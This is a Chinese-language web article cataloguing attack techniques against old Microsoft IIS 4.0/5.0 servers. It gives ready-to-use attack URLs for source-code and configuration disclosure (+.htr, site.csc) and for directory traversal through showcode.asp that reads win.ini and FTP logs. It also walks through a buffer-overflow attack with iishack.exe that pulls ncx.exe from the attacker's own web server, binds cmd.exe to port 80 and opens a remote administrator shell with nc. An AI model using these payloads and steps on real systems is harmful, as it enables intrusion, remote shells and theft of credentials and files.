服务器 频道

IIS常见攻击漏洞及技巧大全

  (4)、idc & .ida Bugs

  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
  http://www.目标机.com/anything.idc 或者 anything.idq

  (5)、+.htr Bug
  这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
  http://www.目标机.com/global.asa+.htr

  (6)、NT Site Server Adsamples 漏洞

  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
  http://www.目标机.com/adsamples/config/site.csc

  (7)、IIS HACK

  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
  c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
  c:\》nc 《目标机》 80
  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
  1.Codebrws.asp 和 Showcode.asp默认情况下不安装。
  2.漏洞仅允许查看文件内容。
  3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
  4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
  5,攻击者需要知道请求的文件名。

  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
  http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
  iisamples/exair/howitworks/codebrws.asp
  你就可以查看到codebrws.asp的源代码了。
  你也可以使用showcode.asp来查看文件:
  http://www.目标机.com/msadc/samples/selector/showcode.asp?
  source=/msadc/../../../../../winnt/win.ini
  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:
  http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?
  source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

0
相关文章